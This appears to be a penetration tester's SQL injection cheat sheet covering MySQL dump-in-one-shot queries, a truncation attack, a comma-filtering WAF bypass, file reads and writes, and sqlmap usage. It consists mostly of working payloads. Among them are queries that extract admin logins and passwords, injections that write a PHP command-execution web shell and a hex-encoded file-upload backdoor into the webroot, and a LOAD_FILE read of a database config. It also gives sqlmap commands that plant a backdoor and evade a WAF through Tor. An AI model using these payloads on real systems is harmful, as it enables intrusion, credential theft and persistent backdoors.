# SQLi

## MySQL

### DIOS

* <https://defcon.ru/web-security/2320/>
* <http://www.securityidiots.com/Web-Pentest/SQL-Injection/Dump-in-One-Shot-part-1.html>
* <https://dba.stackexchange.com/questions/4169/how-to-use-variables-inside-a-select-sql-server>
* <https://www.mssqltips.com/sqlservertip/6038/sql-server-derived-table-example/>

```
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schema.columns) WHERE (@a) IN (@a:=concat(@a,'<font color=red>',table_schema,'</font>',' ::: ','<font color=green>',table_name,'</font>','<br>'))))a);-- -

SELECT (@a) FROM (
	SELECT(@a:=0x00), (
		SELECT (@a) FROM (information_schema.schemata)
		WHERE (@a) IN (@a:=concat(@a,schema_name,'\n'))
	)
) foo
```

```
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (mytable.users) WHERE (@a) IN (@a:=concat(@a,':::',id,':::',login,':::',password)) AND is_admin='1'))a);-- -
```

### Truncation Attack

{% embed url="<https://youtu.be/F1Tm4b57ors>" %}

```
POST /index.php HTTP/1.1
Host: 127.0.0.1

name=snovvcrash&email=admin%example.com++++++++++11&password=qwe12345
```

### Commas blocked by WAF

```
id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b ON 1=1#
```

### Write File

```
id=1' UNION ALL SELECT 1,2,3,4,"<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1');} ?>",6 INTO OUTFILE 'C:\\Inetpub\\wwwroot\\backdoor.php';#
id=1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '/var/www/html/backdoor.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a;-- -
```

### Read File

```
id=1' UNION ALL SELECT LOAD_FILE('c:\\xampp\\htdocs\\admin\\db.php'),2,3-- -
```

## MS SQL

* <https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/>
* <https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/>

## sqlmap

* [Usage · sqlmapproject/sqlmap Wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
* [PayloadsAllTheThings/SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#sql-injection-using-sqlmap)

Write file:

```
$ sqlmap -r request.req --batch --file-write=./backdoor.php --file-dest=C:/Inetpub/wwwroot/backdoor.php
```

Test WAF:

* <https://www.1337pwn.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/>

```
$ sqlmap.py -u 'https://127.0.0.1/index.php' --data='{"id":"*"}' -p id --identify-waf --tamper='between,randomcase,space2comment' --random-agent --tor --check-tor --thread=1 -b --batch -v6
```


---

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